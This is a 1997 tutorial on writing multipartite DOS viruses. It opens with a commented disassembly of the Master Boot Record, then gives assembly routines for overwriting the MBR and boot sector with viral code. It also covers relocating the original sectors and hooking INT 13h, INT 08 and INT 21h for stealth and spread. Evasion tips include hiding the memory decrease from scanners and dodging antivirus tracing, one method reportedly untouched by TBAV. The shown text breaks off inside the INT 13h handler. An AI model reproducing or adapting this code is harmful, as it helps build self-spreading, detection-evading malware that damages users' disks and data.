A guide to multipartite infectors
1.5
by Lord Julus - 1997

FEATURING A FULLY COMMENTED DISASSEMBLY OF THE MASTER BOOT RECORD

                              D I S C L A I M E R

       The following document is a study. It's only purpose is to be used in
       the virus research only. The author of this article is not responsible
       for any misuse of the things written in this document. Most of the
       things published here are already public and they represent what the
       author gathered across the years.
         The author is not responsible for the use of any of these information
       in any kind of virus.
                                   Lord Julus.

     .------------.
     |  Foreword  |
     '------------'

           First of all, let's start with a little definition.
           So, what is a multipartite virus ? Let's give a brief description:
     A Multipartite virus is a COM/EXE/BS/MBR infector. Well, for those of you
     who know something about this, the definition should be good enough. For
     those of you new in the business it means a virus capable to infect files
     and also the Boot Sector (or Master Boot) on a Hard Drive and a Floppy Disk.

           Did you ever wondered why your usual COM/EXE viruses don't spread ?
     Well, take a minute to think of it. How many times did you take an executable
     file from a friend ? I guess not very often. Now with all the games available
     on CD's, and all the utilities found on the WEB you don't have to use your
     floppies to 'borrow' executable files from friends. That's why the viruses
     don't spread. Here I come with the advantages of the Multipartite viruses
     (hereinafter called 'Multies'):

           - Fast spreading: a simple disk inserted into an infected computer
             will carry the virus to another computer.
           - File corrupting with no damage (as in usual viruses), giving you
             the possibility to upload your viruses onto FTP's or any other
             kind of WEB sites.
           - Many difficulties involving the removal of the virus (see forward)

           So, you have to agree with me: a virus present into the boot of a
     computer, as well as into the files that live on it tend to render toward
     the perfect virus. Of course, as you will see along, there are many ways,
     with lots of advantages and disadvantages to do it. So, I'd say I should
     move on and start with the tutorial.
           This version of the tutorial is more boot sector related, but in
     further versions I will include a complete EXE/COM/SYS/BIN tutorial.

     .-----------------.
     |  Basic notions  |
     '-----------------'

           Maybe there is a lot of stuff on this written already, but I want to
     take my share, so I will try to present in an easy way everything involving
     Multies' creation.

           1) Generalities
           ~~~~~~~~~~~~~~~

           The data on the Hard Disk or floppy disk is stored using a particular
     format. This format is called the 'physical sector'.

           A physical sector is formed by a tripled:

           Cylinder, Head, Sector (CHS)

           A 'Track' is a circle described by a 'Head' on a Hard Disk's 'Side'.
           A 'Cylinder' represents all the tracks with the same radius on the
     Hard Disk (which are in the same time found under one Head). Usually the
     Hard Disks have 32 to 1024 cylinders (or tracks on side). The track number
     is a specific hard determined number and cannot be modified (it's actually
     determined by the Hard Disk motor characteristics).
           A 'Sector': The tracks are divided into circular arcs called sectors.
     The number of sectors on a Hard Disk is random and is determined when the
     HDD is formatted and it's determined by different things, especially by the
     coding scheme, usual values being:

            - 17 sectors per track (MFM coding)
            - 26 sectors per track (2,7 RLL coding)
            - 34 sectors per track (3,9 RLL coding)
            - 63 sectors per track (used widely in the present days)

           The amount of data storable on a sector is also different, but usually
     it's 512 bytes per sector.

           Usually, the maximum numbers for these are:

            - MaxCYL       = 1024
            - MaxHEAD      = 16
            - MaxSec/track = 63

           The Cylinders are counted from 0 to MaxCYL-1, Heads are numbered from
     0 to MaxHead-1, and Sectors are counted from 1 to MaxSect/track.

           So, as I said, a 'Physical Sector' is made by a (C,H,S) triplet.
           The first physical sector is at (0,0,1). In order to get the next
     physical sector one must increase the sector first until (0,0,MaxSect).
     After that the Head number increments and the Sector restarts from 1 and
     this goes on until (0,MaxHead,Maxsect). Finally, the Cylinder is incremented
     and the other two reset to 0 and 1 and this goes on until
     (MaxCyl, MaxHead, MaxSect).
           The number of a physical sector is calculated as follows:

           Sector number = (CYL*HEAD*SECT) + (HEAD*SECT) + (SECT-1)

           For example the triplet (3, 23, 7) gives the Physical Sector 650.

           2) Useful tools
           ~~~~~~~~~~~~~~~

           In order to proceed in writing a Multi, you must set up your working
     place and take a few tools around. What one should do is this:

           - Get a clear empty floppy disk
           - Do a Sys c: a:
           - Copy FDISK.EXE and SYS.COM on it.
           - Copy the following files from a TBAV package: TBUTIL.EXE, TBUTIL.LNG
           - Run TBUTIL with the 'st' parameter and save the CMOS, BOOT and
             Partition Table on the disk.
           - Put the DISKEDIT utility (from the Symantec's Norton Utilities
             package) on the disk too.

           Now, you're armed. Protect the disk and nothing can happen to your
     computer ! If you screw up, by writing some trash on the HDD, just reboot
     with the disk and run TBUTIL with the parameter 're' to restore your data.
     Diskedit is very useful, especially when you want to verify whether your
     program did write something on the HDD or not. But, however be sure to do
     not write over the Root Directory Entry because you could loose data. Even
     if you do that the Norton Disk Doctor might fix the problem.

           2) Important areas on the HDD
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

           The important areas to know when starting a Boot related infector are
     the following:

           2.a. The Master Boot Record
           2.b. The Boot Record
           2.c. The first copy of FAT
           2.d. The second copy of FAT
           2.e. The entry in the Root Directory

           As you will see forward, it's very important to know all these, because
     each and everyone offers suitable places to store data on the HDD.

           2.a) The Master Boot Record
           """""""""""""""""""""""""""

           At the Physical Sector 0 (i.e. the triplet (0,0,1)) on the HDD we find
     the Master Boot Record (MBR). Let's take a peek first at the MBR layout and
     then explain the stuff:

           Master Boot Record Layout:
     .--------------.--------.------------------------------------------------.
     | Offset       | Length |    Meaning                                     |
     .--------------.--------.------------------------------------------------.
     | 00h  - 1BEh  |  1BEh  |  Code to load and execute the Boot Record for  |
     |              |        |  the active partition                          |
     | 1BEh - 1CDh  |   10h  |  Entry for Partition #1                        |
     | 1CEh - 1DDh  |   10h  |  Entry for Partition #2                        |
     | 1DEh - 1EDh  |   10h  |  Entry for Partition #3                        |
     | 1EEh - 1FDh  |   10h  |  Entry for Partition #4                        |
     | 1FEh - 1FFh  |   02h  |  Partition Table Signature ('0AA55h')          |
     '--------------'--------'------------------------------------------------'

           Partition Table Entry Layout
     .---------.--------.------------------------------------------------.
     | Offset  | Length |    Meaning                                     |
     .---------.--------.------------------------------------------------.
     | 00h     |   01h  |  If it's 80h than this is the active partition |
     | 01h     |   03h  |  Partition address (head, sector, cylinder)    |
     | 04h     |   01h  |  System type (DOS 12bit/16bit/32bit FAT)       |
     | 05h     |   03h  |  Partition end address (head, sector, cylinder)|
     | 08h     |   04h  |  Physical sector for partition beginning       |
     | 0Ch     |   04h  |  Partition length in sectors                   |
     '---------'--------'------------------------------------------------'

           So, as you can see, the length of the MBR is 512 bytes, which means
     that it takes exactly one sector. Also, notice the signature at the end.
     That sign there marks that this is a valid partition. Try it out. Change
     it and the system will say 'Invalid Partition Table'.

           When the computer boots, the first thing that is done by the system
     is to load the MBR at address 0000:7C00 and it runs the code. Let's take
     a quick look at the code that the system executes upon boot (you can look
     at it yourself by using Diskedit: Look at Physical Sector 0, and choose
     only 1 sector too see and then save it using the 'Write to file...' tool
     to a file named MBR.COM and then use Turbo Debugger on the file to see what
     you've got). So, the code I disassembled and commented goes like this:
     (Mention: the operating system I was using at the time was Windows 95 OSR2)

    -----------MBR code disassembled by Lord Julus-----------
    start:
       xor  ax,ax                   ; Zero register ax
       mov  ss,ax                   ; Stack Segment = 0000h
       mov  sp,7C00h                ; Stack Pointer = 7C00h
       sti                          ; Enable interrupts
       push ax                      ; Now make DS = ES = 0
       pop  es
       push ax
       pop  ds
       cld                          ; Clear direction
       mov  si,7C1Bh                ; And start to copy code from offset 1Bh
       mov  di,061Bh                ; to 0000:061Bh
       push ax                      ; put 0 on the stack
       push di                      ; and put 061Bh on the stack
       mov  cx,1E5h
       rep  movsb                   ; Rep when cx >0 Mov [si] to es:[di]
       retf                         ; Return far (actually jump to 0000:061Bh)

    ; Here is where the code goes on. This is the 1Bh offset. In this way the
    ; area at 0000:7C00h is free and ready to receive the Boot Record

       mov si, 07BEh                ; The system is about to find the
       mov cl, 4                    ; active partition table
                                    ; 0   means not active
                                    ; 80h means active (only one can be active)
                                    ; The offset of the first partition table
                                    ; is at 01BEh. SI is aligned to the new
                                    ; offset: 061Bh + 01BEh + 001Bh = 07BEh

    locloop_1:                      ; CH = 0 here
       cmp  [si],ch                 ; and we take the first byte in the table
       jl   maybe_active_part       ; Jump if < ch (actually means [SI] could be
                                    ; 80h)
       jnz  Error_1                 ; -> Error !
       add  si,10h                  ; go to the next partition entry (+10h)
       loop locloop_1               ; Loop if cx > 0

       int  18h                     ; go to ROM basic (never actually)

    maybe_active_part:
        mov dx,[si]                 ; DX = active partition number
        mov bp,si                   ; BP = entry for the active partition

    look:                           ; Since we must have only one active part.
        add si,10h                  ; here we check to see if there are 2
        dec cx                      ; marked as active
        jz  all_good                ; Jump if CX = 0 -> partitions done !
        cmp [si],ch                 ; [SI] = 0 ?
        je  look                    ; Jump if equal
                                    ; If not equal, there is another partition
                                    ; marked with something else but 0

    Error_1:
        mov si,710h                 ; This points to 'Invalid partition table'
                                    ; actually to the second character and
                                    ; it's aligned at the next instruction

    hang:                           ; When the error message is fully displayed
        dec si                      ; the program goes into an infinite loop here
                                    ; AL = 0; Lodsb increases SI and here SI
                                    ; is decreased again -> Infinite loop !

    display_error:                  ; This is the Error Display structure
        lodsb                       ; String [si] to al
        cmp al,0                    ; 0 marks the end of string
        je  hang                    ; Jump if equal

        mov bx,7                    ; color: white
        mov ah,0Eh                  ; Video display function 0Eh
        int 10h                     ; write char from al, move cursor

    loc_7:
        jmp short display_error     ; and write another character !

    all_good:                       ; Here we know that we found an active
                                    ; partition table

    ; Look at the Partition Table Layout to get this right

        mov [bp+25h],ax             ; Ax is still 0
        xchg si,ax                  ; SI = 0
        mov al,[bp+4]               ; Load the system type into Al

    ; Here come some strange checks which find out the system type

        mov ah,6
        cmp al,0Eh
        je  loc_10                  ; First system type

        mov ah,0Bh
        cmp al,0Ch
        je  loc_9                   ; Second system type

        cmp al,ah
        jne loc_12                  ; Third system type
        inc ax

    loc_9:
        mov byte ptr [bp+25h],6     ;
        jnz loc_12                  ; Jump if not zero

    loc_10:
        mov bx,55AAh                ; About to check the installation of
                                    ; IBM/MS extensions

    ; The next is an undocumented INT 13 which returns:
    ; CF set if error
    ; CF clear if ok, plus:
    ;           BX=0AA55h
    ;           AH = major version of extensions
    ;                (01h = 1.x, 20h = 2.0/EDD-1.0, 21h = 2.1/EDD-1.1)
    ;           AL = internal use
    ;           CX = API subset support bitmap
    ;           DH = extension version (v2.0+ ??? -- not present in 1.x)
    ;
    ; Bitfields for IBM/MS INT 13 Extensions API support bitmap:
    ; Bit  Description      (Table 0196)
    ; 0    extended disk access functions (AH=42h-44h,47h,48h) supported
    ; 1    removable drive controller functions (AH=45h,46h,48h,49h,INT 15/AH=52h)
    ;      supported
    ; 2    enhanced disk drive (EDD) functions (AH=48h,AH=4Eh) supported
    ;      extended drive parameter table is valid
    ; 3-15 reserved (0)

        push ax                     ; save ax
        mov ah,41h
        int 13h                     ; Undocumented installation check
        pop ax                      ; and restore ax

        jc loc_11                   ; Jump if error -> extensions not supported

        cmp bx,0AA55h               ; now compare
        jne loc_11                  ; Jump if not equal -> not installed

        test cl,1                   ; check if extended disk access functions
        jz  loc_11                  ; are supported

        mov ah,al                   ; if we are here then the extensions are on
        mov [bp+24h],dl             ; DL holds the drive number !
        mov word ptr ds:61Ah,1EEBh  ; mark this here... ??

    loc_11:
        mov [bp+4],ah               ; rewrite the system type
    loc_12:
        mov di,0Ah                  ; di = 0Ah

    ; Now the system begins to load the Boot Record at 0000:SP (7C00h)

    loc_13:
        mov ax,201h                 ; prepare to read from drive
        mov bx,sp                   ; at ES:SP
        xor cx,cx                   ; Zero register
        cmp di,5                    ; di > 5 ?
        jg  loc_14                  ; Jump if >
        mov cx,[bp+25h]             ; otherwise, set in cx the cylinder and sector

    loc_14:
        add cx,[bp+2]               ; and increase the sector
        int 13h                     ; Now read 1 sector to ES:BX
                                    ; al=1, ch=cyl, cl=sector, dh=head (0)
    loc_15:
        jc  loc_17                  ; Jump if carry Set -> some error
        mov si,746h                 ; this points to 'Missing operating system'
        cmp word ptr ds:7DFEh,0AA55h; check if the Partition Signature is there
        je  loc_21                  ; Jump if equal -> OK
                                    ; the BOOT RECORD is loaded ! Jump to it

        sub di,5                    ; otherwise decrease DI
        jg  loc_13                  ; and try again. I guess all this stuff is
                                    ; trying to find the right sector.

    loc_16:
        test        si,si           ;
        jnz display_error           ; Jump if not zero to error procedure
        mov si,727h                 ; This points to
                                    ; 'Error loading operating system'
        jmp short loc_7             ; go to error procedure

        cbw                         ; convert byte to word
        xchg        cx,ax           ; exchange these
        push        dx              ; save DX
        cwd                         ; convert word to doubleword
        add ax,[bp+8]               ; Now add this double word that holds the
        adc dx,[bp+0Ah]             ; number of the physical sector for the
                                    ; Partition table start
                                    ; And we have it into DX:AX

        call sub_1                  ; Go on
        pop dx                      ; restore DX
        jmp short loc_15            ; If we are here then definitely there was
                                    ; an error

    loc_17:                         ; Here we come if there was a read error.
        dec di                      ; decrement number of retries
        jz  loc_16                  ; Jump if zero to errors
        xor ax,ax                   ; Now reset the disk
        int 13h                     ; reset disk, al=return status

        jmp short loc_13            ; and try again

        add [bx+si],al              ; this must be some crap...
        add byte ptr [di+56h],15h   ; useless I mean.

    sub_1:
        push        si              ; save SI and
        xor si,si                   ; Zero register
        push        si              ; save SI
        push        si              ; again twice
        push        dx              ; and all the rest
        push        ax
        push        es
        push        bx
        push        cx

        mov si,10h                  ; SI = 10h = 16
        push        si              ; save it
        mov si,sp                   ; SI = Stack Pointer
        push        ax              ; Push the Dword at DX:AX
        push        dx

    ; the stack looks like this: SI,0,0,DX,AX,ES,BX,CX,10h,AX,DX

    ; Another Extended undocumented function
    ; IBM/MS INT 13 Extensions - EXTENDED READ
    ;       AH = 42h
    ;       DL = drive number
    ;       DS:SI -> disk address packet
    ;
    ;Format of disk address packet:
    ;Offset Size    Description
    ; 00h   BYTE    10h (size of packet)
    ; 01h   BYTE    reserved (0)
    ; 02h   WORD    number of blocks to transfer
    ; 04h   DWORD   -> transfer buffer
    ; 08h   QWORD   starting absolute block number
    ;               (for non-LBA devices, compute as
    ;                 (Cylinder*NumHeads + SelectedHead) * SectorPerTrack +
    ;                 SelectedSector - 1

        mov ax,4200h                ; Extended read function
        mov dl,[bp+24h]             ; DL = Drive number
        int 13h                     ;

        pop dx                      ; Restore this
        pop ax

        lea sp,[si+10h]             ; Load effective addr
        jc  loc_20                  ; Jump if carry Set -> error

    locloop_18:
        inc ax                      ; Increment the DWORD at DX:AX
        jnz loc_19                  ; Jump if not zero
        inc dx
    loc_19:
        add bh,2                    ; and add a 2 to bh each time
        loop locloop_18             ; Loop until CX = 0

        clc                         ; Clear carry flag
    loc_20:
        pop si                      ; This doesn't make much sense. From my calc

    ; the stack looks like this: SI,0,0,DX,AX,ES,BX,CX

        retn                        ; this jumps to the old CX ??

    loc_21:                                       ; this contains the error table
        jmp short loc_22                          ; and a jump over it
        db  'Invalid partition table', 0
        db  'Error loading operating system', 0
        db  'Missing operating system'
        db  37 dup (0)

    loc_22:                                 ; When we reached here it means
                                            ; that everything went OK. Now the
                                            ; Boot Record is loaded and the
                                            ; MBR is about to run it

        mov di,sp                           ; DI = stack pointer
        push ds                             ; put DS:DI on stack
        push di
        mov si,bp
        retf                                ; Return far (actually jmp DS:DI)
                                            ; which is a jump to the Boot Record

        db  52 dup (0)                      ; empty space

        ; Here starts the Partition Table
        db  80h                             ; Active partition marker
        db  01h                             ; Partition: Start Head
        db  01h                             ;                  Sector
        db  00h                             ;                  Cylinder
        db  06h                             ; System Type
        db  0Fh                             ; Partition: End Head
        db  0FFh                            ;                Sector
        db  38h                             ;                Cylinder
        db  3Fh, 00h, 00h, 00h              ; Number of Physical Sector
        db  31h, 0B0h, 0Ch, 0               ; Length of Partition in sectors
        db  48 dup (0)                      ; the other partitions don't exist
        ;Total 40h bytes in the Partition Table

        db  55h,0AAh                       ; and the sign

    ----------MBR source over-----------

           As you could see, all the code above does this:

           - Checks if there is a correct partition table (only one partition
             is active and the 0AA55h sign is there).
           - Locates the sector where the Boot Record for that partition is
           - Loads that Boot Record
           - Jumps to the Boot Record.

           If there is no correct partition table the 'Invalid partition table'
     error appears. If the system can't read (for various reasons) from the
     disk, the 'Error loading operating system' error pops up. Finally, if the
     Boot Record is not found then the 'Missing operating system' error is
     displayed.

           This is already a lesson about what you can really do in the MBR. As
     you saw, interrupts can be called when in boot. But only the interrupts
     between 0 and 1Fh are available (you noticed that the errors are displayed
     using the graphic interrupt 10h). In fact, during this phase, the interrupts
     can be hooked, memory can be allocated, there can be reads and writes to
     disk, and so on. But we'll discuss this later.

           2.b) The Boot Record
           """"""""""""""""""""

           The Boot Sector is the one loaded by the MBR into memory and the one
     to receive the command. After the MBR checks if everything is ok, this
     is where it jumps:

           Boot Sector Layout
     .-----------.----.-------------------------------------------.
     | Offset    |Len | Meaning                                   |
     .-----------.----.-------------------------------------------.
     | 00h - 02h | 03 | A JMP instruction to the loading sequence |
     | 03h - 0Ah | 08 | The name and version of the OS            |
     | 0Bh - 0Ch | 02 | Sector size in bytes                      | --.
     | 0Dh       | 01 | Cluster size in bytes                     |   |
     | 0Eh - 0Fh | 02 | Reserved sectors until the first FAT copy |   |
     | 10h       | 01 | Number of FAT copies                      |   .-- BPB
     | 11h - 12h | 02 | Number of directory entries in the ROOT   |   |
     | 13h - 14h | 02 | Total sectors on disk (or partition)      |   |
     | 15h       | 01 | Disk type                                 |   |
     | 16h - 17h | 02 | FAT size in sectors                       | --'
     | 18h - 19h | 02 | Sectors on cylinder (track)               | --.
     | 1Ah - 1Bh | 02 | Number of heads (sides)                   |   .-- Ext.BPB
     | 1Ch - 1Fh | 04 | Hidden sectors                            | --'
     '-----------'----'-------------------------------------------'

           What are we interested in are the BPB and the Extended BPB with useful
     information.
           The meaning of BPB is 'BIOS Parameter Block'.
           The jump to the loading sequence is a jump that goes directly to load
     the operating system.

           2.c) Other
           """"""""""

           Usually on the HDD there coexist 2 copies of the FAT (File allocation
     table). They have a specific length that can be found in the BPB (sectors
     per FAT) and the second important value to know is sector per cluster
     (or allocation unit). The two copies of the FAT are one after the other.
     The second copy of the FAT is only to prevent the loss of data. Somebody
     could write the data here and then stealth by redirecting the reads from
     the second FAT copy to the first FAT copy (remember that NDD tells the
     user if the FAT copies are not the same). The bad thing about this is
     the hard way of finding the place of the second copy and reading it only
     using the INT 13. After the FAT, the next thing on disk is the Directory
     Entry into the Root. You also have data about this in the BPB. A good place
     to hide something here is at the end of the Root Entry (e.g. at end of
     root entry - virus size). I will speak a little later about this stuff.

     .-----------------.
     |  Going deeper   |
     '-----------------'

           Now that we know all the basic stuff, here is the first question that
     pops in mind when writing a boot or multi virus: Where do I store my code ?
           Here are the places I can think of:

           1. In the MBR itself
           2. In the Boot itself
           3. In the root directory entry
           4. In the second FAT copy

           1. Infecting the MBR
           ~~~~~~~~~~~~~~~~~~~~

           Up above you have an almost complete description of the code into the
     MBR. So, the MBR is located at Physical Sector (0,0,1). The Boot Record can
     be found at (0,1,1), but this is true only if the first partition is active.
     If there are more than 1 partitions and another one is active, you should
     check and see the address of the Boot Record for that partition. Anyway,
     between (0,0,1) and (0,1,1) we have 62 free sectors. That would make an
     amount of 62 * 512 = 31744 bytes, more than anyone could desire for his
     virus.
           The infection of the MBR can be done in 2 ways:

           a) Save the original MBR in the free zone and put the viral code
              in it's place then read it from the free zone
           b) Alter the original MBR making it to load the virus instead of
              the Boot Record and make the virus itself to load the Boot

           The first method requires from you to put in the 510-th byte of the
     virus the sequence '0AA55h' in order to mark this as a valid partition table.
     Second of all, the system can no longer be booted from a floppy disk. If
     you boot using method a) from a floppy disk and try to change the drive to
     C, you will get 'Invalid drive specification'. This problem can be solved
     easily: simply start your virus like this:

            start:
                  jmp over_partition
                  db 18h  dup (0)       ; 1bh - 3 bytes (the jmp opcode)
           part_table:
                  db 1E5h dup (0)       ; the rest until 200h
           over_partition:
                  ...                   ; the rest of virus

           When the virus is about to write itself over the original MBR all
     it has to do is copy all the stuff from 1BEh until 200h at the part_table
     address. In this way we have the partition table in its place and the drive
     C is accessible also if booted from floppy disk. I would say that this
     approach is one of the best. The virus is not obvious (because the drive C
     works), but it's easier to remove (also because drive C is accessible). Here
     you must combine the Int 13h with special anti-tunneling routines, otherwise
     an AV product may trace the Int 13h and go around your stealth routines.

           Actually this code is not quite ok... That's because when the system
     boots it only loads exactly 1 sector (e.g. 200h bytes). This means that
     the JMP over_partition will jump after the 200h bytes, e.g. somewhere into
     the void ! In order to really fix this we should do something like this:

                jmp realstart
                ;(variables here)
            realstart:

                ;(go resident part here) -> ES = new segment for virus

                mov ah, 02h                 ; load the entire virus from MBR/BS
                mov al, sector_len          ; to the new segment (ES) at offset
                mov dh, 0                   ; 0, as the system only loads one
                mov cx, 1                   ; sector and the virus occupies more
                mov bx, 0
                int 13h

            over_this:
                push es
                lea ax, go_in_new_segment   ; start over in the ES segment
                push ax                     ; to free up the 007ch area
                retf

     old_partition_table db 200h dup (0)     ; this area is needed to preserve the
                                            ; partition table
            Go_in_new_segment:

           Of course, in this way, the beginning of your virus will look like
     this:

           .----------------------.
      (1)  | Virus loader         | --> this should be smaller then 1BEh bytes
           .----------------------.
      (2)  | 200h bytes reserved  | --> the reserved area for partition table
           .----------------------.
      (3)  | Rest of virus        | --> and the rest of the code goes here
           :                      :
           :                      :
           '----------------------'

           After the loading of the virus into the new segment and the jump to
     the new segment we find ourselves in the (3) zone. Here we make a read of
     the original MBR from where we save it and we put it entirely into the (2)
     zone. But, in order to have the correct partition table, we must shift
     up the (2) zone with an amount that equals the length of the (1) zone.
     The process can be described very well like this:

       .---------------------.
       | Virus loader        |
       |                     |   .-----------------------.-.
       '---------------------'  | Original MBR          |-' Area that gets lost
                               | |                   55AA|   but we don't care
                               | '-----------------------'

           In this easy way, the partition table is 'aligned' so the first 200h
     bytes end with a valid partition table. More, some parts of the original
     MBR still stay on (depends on how much you can optimize the virus loader)
     and many AV will confuse it with a valid MBR. Personally I tried with
     the above method on TBAV and it didn't flag anything. Of course, you need to
     use some strange approaches in order to hide your code.

           2. Infecting the Boot
           ~~~~~~~~~~~~~~~~~~~~~

           This is seems easier then the MBR infection because there are no checks
     done by the system. But, again, you must determine correctly the address of
     the boot record. Otherwise the system will hang.
           What you need to do is to save the original Boot in a free area and
     then paste your viral code over the boot. The MBR will load your virus when
     the computer boots and will give it the control. After the virus is over
     with it's job it should load the original boot from the free zone and jump
     to it.

           3. The real way to do it
           ~~~~~~~~~~~~~~~~~~~~~~~~

           Now let's get closer and analyze a little what your virus should
     exactly do when it starts. First, let's do not forget that we are talking
     about Multipartite Viruses here. This means that our virus should be able
     to 'live' in the Boot areas and in the files as well. The usual way to check
     if you are in boot or in a file is to check the word at PSP:0000 like this:

            cmp word ptr es:[0], 20CDh           ; this is the marker for a
            je in_file                           ; valid PSP

     in_boot:
            ... (boot sequence)
     in_file:
            ... (file sequence)

            First let's take a look at the 'in boot' part.

            Let's assume this is a MBR replacer virus. This means that it saves
     the original MBR somewhere else and now it stays at Physical Sector 0. The
     system loads it and it is given command. The first thing usually done is
     the set up of the stack. Now, this is not really necessary, but it's done
     anyway:

            cli
            xor ax, ax
            mov ss, ax
            mov sp, 7C00h
            sti

            As you can see, the MBR does this itself. It's not really necessary,
     but we need it in order to make some comparitions later. Like, for example
     if you choose not to use many flags, later you can compare SP with 7c00h and
     if it's equal, then you are in boot.

           The next thing to do here is to reserve some memory for the virus.
     We assume that the Para_vir_len variable was set, like this:

            Para_vir_len = (finish - start)/8   ; virus length in paragraphs.
                                                ; We divide by 8 instead of 16
                                                ; because we need double space
                                                ; in memory !

            xor ax, ax                          ; reserve memory for virus
            mov ds, ax                          ; by substracting
            mov ax, Para_vir_len
            sub word ptr ds:[413h], ax          ; the virus length
            int 12h                             ; get memory in paragraphs
            shl ax, 6                           ; make it in bytes
            mov es, ax                          ; ES = new segment
            mov cx, finish-start                ; length of virus
            push cs                             ; set the source
            pop ds
            mov si, 7c00h
            mov di, 0
            rep movsb                           ; ds:si > es:di

           This works if your virus is only one sector length. If it's more
     than one sector, simply reserve memory and then read the virus to ES:0.
           This particular part is very important. Almost any MBR scanner will
     notice the decreasing of the word at 0000:0413 (which is the BIOS address
     where the total available memory is hold), and will pop up a warning. I
     figured out a nice way to do this:

                    - set BX = a random number
                    - get another number that equals 0413h - BX (wrapped around
                      0, of course), let's call it L.
                    - make this code:

                      int 12h               ; ax holds memory in paragraphs
                      sub ax, 1
                      xchg ax, word ptr ds:[BX + L]

           I hear cries for an example:

                  mov bx, 0F0F5h
                  int 12h
                  sub ax, 1
                  xchg ax, word ptr ds:[BX + 131Eh]

           Notice that 0F0F5h + 131Eh = FFFF0413h (as a doubleword) but as a
     word it's exactly 0413h !

           Now the copy of our virus is in memory at ES:0. There is no need to
     stay in the 0000:7C00 area because anyway we must start loading the real
     MBR there. Therefore we'll do this:

            push es                     ; put the new segment on stack
            lea ax, new_segment         ; and the IP where to jump
            push ax
            retf                        ; and simulate a return far
     new_segment:
            ...

           and we go on with the code but into the new segment we've got. Before
     starting to load the real MBR we must first hook the interrupts we need and
     especially the disk interrupt INT 13h. So:

            mov ax, word ptr ds:[13h*4]             ; save INT 13's vector
            mov word ptr cs:[oldint13], ax
            mov ax, word ptr ds:[13h*4+2]
            mov word ptr cs:[oldint13+2], ax

            lea ax, newint13                        ; and set new INT 13h
            mov word ptr ds:[13h*4], ax
            mov ax, es
            mov word ptr ds:[13h*4+2], ax

           We'll talk later about the newint13 handler.

           Now we can already start to load the MBR from the free zone. This is
     done simply by using the 02h function. And we read the original MBR at the
     end of our code in memory:

            mov ah, 02h                             ; read original MBR
            mov al, 01h                             ; 1 sector
            mov dl, 80h                             ; from HDD
            mov dh, 00h                             ; head 0
            mov cx, 01h                             ; cyl 0, sector 1
            push cs
            pop es
            lea bx, finish                          ; at ES:BX
            int 13h

           Now, BX is at the end of virus. We add to it an offset where we have
     a marker defined like this:

            Marker db 'xx'          ; where 'xx' can be any combination of chars

            add bx, offset marker
            cmp word ptr cs:[bx], 'xx'
            je already_infected

           Let's assume for now that yes, the HDD is infected. So, if the HDD is
     already infected we do this:

            Already_infected:               ; this part is common to in_boot
            cmp cs:[inboot], 1              ; and in_file modes so we check
            jne exit_file                   ; and if it's file we exit the file

            Load_old_boot:                  ; otherwise

            mov ah, 0                       ; first we reset the drive
            mov dl, 80h
            int 13h

            mov ah, 02h                     ; and then we read
            mov al, 01h                     ; one sector
            mov dl, 80h                     ; from HDD
            mov dh, 00h                     ; head 0
            mov cx, 01h + sector_len        ; cylinder 0, sector =  1+sector_len
            push 0
            pop es
            mov bx, 7c00h                   ; at 0000:7C00
            int 13h

            db 0EAh                         ; and here we have JMP 0000:7C00
            dw 7c00h                        ; i.e. jump to the original MBR
            dw 0000h

           I hope all is clear. The only thing to talk about would be the
     sector_len variable. A complicated virus tends to go beyond 5K in these
     days. This means that there's no way your virus will fit into 512 bytes,
     e.g. on one sector. This means you'll have to write your virus on more
     than one sector. But, how many ? Look at this:

            sector_len = (finish - start + 1FFh) / 200h

            If (finish - start) is <= 200h the result of the above formula is 1.
            If (finish - start) is > 200h but <= 400h the above gives 2, and so
     on. Example:

            (188h + 1FFh)  div 200h = 1  sector
            (220h + 1FFh)  div 200h = 2  sectors
            (1000h + 1FFh) div 200h = 23 sectors

            So, this gives you the length of your virus in sectors. Let's take
     a look at the infected HDD (sl = sector_len):

        .--------------------. ---. ---.
        |  C:0, H:0, S:1     |    |    .-- This is where the orig. MBR was once
        .--------------------.    | ---'
        |  C:0, H:0, S:2     |    |
        '--------------------'    .------- And now this is where the virus is
        ......................    |
        .--------------------.    |
        |  C:0, H:0, S:sl    |    |
        .--------------------. ---' ---.
        |  C:0, H:0, S:sl+1  |         .-- Here is the where the MBR was moved
        '--------------------'      ---'

           Now let's see what should happen if the HDD was clean in order to
     infect it. First:

            Save_old_boot:
            mov ah, 03h                       ; write bytes
            mov al, 01h                       ; 1 sector
            mov dl, 80h                       ; on HDD
            mov dh, 00h                       ; head 0
            mov cx, 01h + sector_len          ; cylinder 0, sector = 2+sector_len
            lea bx, finish                    ; from the end ! (where we have
            int 13h                           ; a copy of the MBR)

            Write_new_boot_loader:
            mov ah, 03h                       ; this part simply copies
            mov al, sector_len                ; sector_len sectors
            mov dl, 80h
            mov dh, 00h
            mov cx, 01h                       ; at (0,0,1)
            lea bx, start                     ; from the beginning of virus
            int 13h

           This is how the things work when you are in boot. Let's take a look
     at the other part now: in_file. This is easier than you think:

            In_file:
            call go_resident
            jmp over_now

            Go_resident:                    ; here we have ANY kind of resident
            ...                             ; code which leaves in ES the
            ret                             ; new viral segment.
                                            ; The Int 21 hooking should take place
                                            ; here too.

            over_now:
            push es                         ; and here we jump to the common
            lea ax, new_segment             ; part of the in_file and in_boot
            push ax
            retf

           What we have more related on the file infection is: we have the INT 21
    handler which is used to catch executable files (any kind and in anyway), and
     the exit_file procedure which gives the control back to the host. Of course,
     INT 13 must be also hooked when 'in file', because the MBR must be stealthed.
     And, of course, we must use some kind of tunneling techniques against TSR
     blockers.

           As everybody knows, hooking INT 21h from a file is a piece of cake.
     We cannot say the same thing when you are in the Boot. There you have NO
     INT 21h, so you have nothing to hook ! You must wait for the system to load
     completely and then act. This is done easy by using the INT 08, e.g. the
     time interrupt. Hook this interrupt in boot and set a counter. After, let's
     say 2 minutes start to hook the interrupts. The Int 08 is called every 55ms,
     or 18.2 times per second. So for a delay of 1 second you must set a compare
     value of 18 and decrease it until it's 0. To have a one minute delay, the
     compare value should be 60*18.2 = 1092, and for 2 minutes 2184.

           The Int 08 could look like this:

            INT08:
            pushf
            call dword ptr cs:[oldint08]
            cmp word ptr cs:[time], 0
            je start_to_hook
            dec word ptr cs:[time]
            iret

            time equ 2184

           This solves the problem of hooking int 21h from the boot.
           Now, let's take a look at the INT 13h, the heart of the boot infector.
     Here we do all our stealthing. It should look like this:

            NEWINT13:
            cmp ah, 02h                  ; a read ?
            je  check_more
            jmp no

           check_more:
            cmp dh, 0                    ; head 0 ?
            jne no
            cmp cx, 1                    ; cylinder 0, sector 1 ?
            jne no
            pushf
